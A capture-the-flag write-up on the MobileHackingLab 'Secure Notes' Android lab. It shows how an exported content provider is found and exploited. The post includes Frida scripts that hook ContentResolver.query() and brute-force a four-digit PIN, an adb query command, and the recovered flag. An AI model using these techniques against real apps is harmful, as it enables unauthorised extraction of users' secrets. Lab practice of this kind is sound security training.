Insecure Content Provider in Android — MobileHackingLab ‘Secure Notes’ Write-up
The challenge from MobileHackingLab is a good one for practising the exploitation of an insecure Content Provider.
This post contains the solution to the lab challenge. If you’d like to try the lab first, try it over here : https://www.mobilehackinglab.com/course/lab-secure-notes
Objective
The challenge states objective clearly :
Retrieve a PIN code from a secured content provider in an Android application.
Challenge objective clearly says that it’d be required to ‘crack’ a PIN.
Discovery
When opened, the app shows a screen for entering PIN. When any PIN is entered it shows a message saying incorrect PIN
. Probably we just entered a wrong PIN possible.
Upon analyzing AndroidManifest.xml
, we can see two providers and a receiver registered with the application. The provider com.mobilehackinglab.securenotes.SecretDataProvider
looks like the one we’re looking for. It has the android:exported="true"
attribute other apps to reach it through content provider invocations. While rest of the provider and receiver would be non functional code being embedded.
Above function querySecrectProvider(string)
is defined in MainActivity.java
JADX didn’t manage to decompile the function properly, but the code it could produce is fairly readable.
querySecretProvider()
is being invoked when we click the button in App, after entering PIN. Which means it handles PIN.
I can see the content provider URI defined content://com.mobilehackinglab.securenotes.secretprovider.
But, I don’t know the exact format in which the content provider would have to be invoked with the pin
parameter. Rather than guessing or doing trial and error. I decided to hook frida to android.content.ContentResolver.query()
.
Java.perform(function() {
const ContentResolver = Java.use('android.content.ContentResolver')
const queryContentResolver = ContentResolver.query.overload('android.net.Uri', '[Ljava.lang.String;', 'java.lang.String', '[Ljava.lang.String;', 'java.lang.String')
queryContentResolver.implementation = function(r2, r3, r4, r5, r6){
console.log("[+] queryContentResolver: ", ...arguments)
let result = queryContentResolver.call(this, ...arguments)
console.log("[+] queryContentResolver: ", result)
return result
}
});
If frida server is not running it can be invoked using the command :
# (on emulator) run frida server
frida-server -l 0.0.0.0 -D
# (on host) to list the packages installed in emulator if device accessible through `adb devices`
frida-ps -Uia
# (on host) to invoke an application with a frida script
frida -U -f com.mobilehackinglab.securenotes -l script0.js
I ran the frida script by invoking the app, and I entered the PIN 1234 in the application
Frida is successfully logging the parameters of android.content.ContentResolver.query()
. I can see the PIN being passed as the third parameter as pin=1234
. I guess the function returns null
when incorrect PIN is entered - when content provider is not able to find result to the query() as per its processing logic. I can definitely attempt to brute force the PIN from here.
function queryResolver(context, pin){
const contentUri = 'content://com.mobilehackinglab.securenotes.secretprovider'
const Uri = Java.use("android.net.Uri")
const DbUtils = Java.use("android.database.DatabaseUtils")
const resolver = context.getContentResolver()
const uri = Uri.parse(contentUri)
const ContentResolver = Java.use('android.content.ContentResolver')
const queryContentResolver = ContentResolver.query.overload('android.net.Uri', '[Ljava.lang.String;', 'java.lang.String', '[Ljava.lang.String;', 'java.lang.String')
const r4 = 'pin='+pin.toString()
console.log("[+] trying : ", r4);
let cursor = queryContentResolver.call(resolver, uri, null, r4, null, null )
let response = DbUtils.dumpCursorToString(cursor)
if(response.includes('Dumping cursor null'))
return false
return response
}
Java.perform(() => {
Java.choose('com.mobilehackinglab.securenotes.MainActivity', {
onMatch : (instance) => {
console.log('[+] instance found : ', instance)
for (var i = 0 ; i < 10000; i++) {
let result = queryResolver(instance.getApplicationContext(),i)
if (result){
console.log(result)
break
}
}
},
onComplete : () => {}
})
})
Out of gut feeling, I decided to only try PINs of upto 4 digit — until 9999. Here in the above code,
- I attach to existing running instance of
com.mobilehackinglab.securenotes.MainActivity
because a context is required to execute any function. - I’m calling
android.content.ContentResolver.query()
with a new PIN value every time , and analyze it’s output after each invocation.
This was running fine until I encountered something weird:
I decided to look into code to see what’s going on.
The query()
function in SecretDataProvider.java
contains the logic of handling ‘Query’ calls on the provider. For every pin=
value I can see that a function decryptSecret()
is invoked. Over to there.
decryptSecret()
functionlooks like it’s performing an AES-CBC
encryption. It uses the PIN to generate the key, generateKeyFromPin()
uses iv
, salt
and no. of iterations
internally for creating a Key spec.
I also happened to see that everything required for decryption is stored in the file config.properties
within assets.
Also, the PIN parsed is formatted with the string %04d
which says that it’ll be a 4-digit PIN starting from 0000
. The garbage output we saw earlier was due to how the encryption logic is. Since the application does not store PIN, it’ll blindly try to attempt to generate a key using a given PIN, and if the AES decryption succeeds, it gives us back the decrypted text.
Here the catch is there could multiple number of PINs that could perform the AES decryption wihtout error, but, only one out of them would output a text in english that’d make sense.
So, I continued brute forcing, this time by removing the break
statement to exit the loop when a successful decryption is performed.
At 2580
I got output in plain English, which looks like a CTF flag.
The flag :
{
Secret=CTF{D1d_y0u_gu3ss_1t!1?}
}
Exploitation
A malicious app querying the content provider could be demonstrated using the command:
adb shell content query - uri content://com.mobilehackinglab.securenotes.secretprovider --where pin=2580
The app could try out several PINs until success using the Java function for querying — android.content.ContentResolver.query()
.
Final Thoughts
It’s amazing to be able to use frida to intercept all content provider queries made by an app. This will be useful later.
Reference :
- Using frida to call unused methods : https://alyagomaa.github.io/blog/Using-Frida-to-call-unused-android-methods/
- Frida snippets : https://github.com/iddoeldor/frida-snippets
- Another frida blog : https://node-security.com/posts/android-hooking-in-frida/